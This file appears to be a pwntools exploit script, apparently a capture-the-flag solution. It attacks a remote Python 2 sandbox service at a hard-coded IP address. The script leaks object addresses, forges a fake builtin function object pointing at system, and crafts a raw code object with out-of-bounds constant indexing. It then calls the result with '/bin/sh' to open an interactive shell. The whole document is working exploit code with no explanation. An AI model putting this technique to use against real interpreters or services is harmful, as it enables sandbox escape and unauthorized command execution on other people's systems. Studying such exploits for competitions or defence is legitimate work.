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import sys | |
from pwn import * | |
from sys import stdout | |
import string, subprocess, re | |
def magic_function(index, constant_table): | |
return "(lambda x:x).__class__((lambda x:x).func_code.__class__(0, 0, 1, 67, 'd\\x%02X\\x%02XS', %s, (), (), 'test.py', 'f', 1, '\\x00\\x01', (), ()), {}, 'f', None, None)" % (index&0xff, index >> 8, constant_table) | |
def setvalue(var, value): | |
return '().__class__.__subclasses__()[0].__repr__.__func__.__setattr__("%s", %s)' % (var, value) | |
def getvalue(var): | |
return '().__class__.__subclasses__()[0].__repr__.__func__.%s' % var | |
def xranger(n): | |
return 'stdout.xreadlines.__str__.__objclass__.__subclasses__()[12](%d)' % n | |
def wat(): | |
return '[%s for _ in %s]' % (magic_function(200), xranger(1000)) | |
def do_cmd(s): | |
r.sendline(s) | |
return r.recvline()[:-1] | |
def do_tuple(): | |
return '(0,)*10000' | |
r = remote('54.196.37.47', 9990, silent = True, timeout = 10) | |
# r = remote('127.0.0.1', 1234, silent = True, timeout = 10) | |
r.recvline() | |
system_meth_addr = 0x0000000000870480 | |
PyCFunc_Type = 0x000000000087CE20 | |
none_object = 0x000000000087E040 | |
pyobject = flat("LLLLL", 500, PyCFunc_Type, system_meth_addr, 0, none_object, func = p64) | |
do_cmd(setvalue('obj', `pyobject`)) | |
pyobject_addr = int(re.findall('0x([0-9a-f]*)', do_cmd('%s.__eq__' % getvalue('obj')))[0], 16) | |
do_cmd(setvalue('bar', do_tuple())) | |
tuple_addr = int(re.findall('0x([0-9a-f]*)', do_cmd('%s.__eq__' % getvalue('bar')))[0], 16) | |
ellipsis = p64(pyobject_addr+36) | |
do_cmd(setvalue('baz', "'AAAA' + %s*10000" % `ellipsis`)) | |
string_addr = int(re.findall('0x([0-9a-f]*)', do_cmd('%s.__eq__' % getvalue('baz')))[0], 16) | |
assert (string_addr - tuple_addr) % 8 == 0 | |
offset = 200 + (string_addr - tuple_addr) / 8 | |
print hex(offset) | |
do_cmd(setvalue('foo', magic_function(offset, getvalue('bar')))) | |
print do_cmd(getvalue('foo')) | |
pause() | |
r.sendline(getvalue('foo') + '()("/bin/sh")') | |
r.interactive() |
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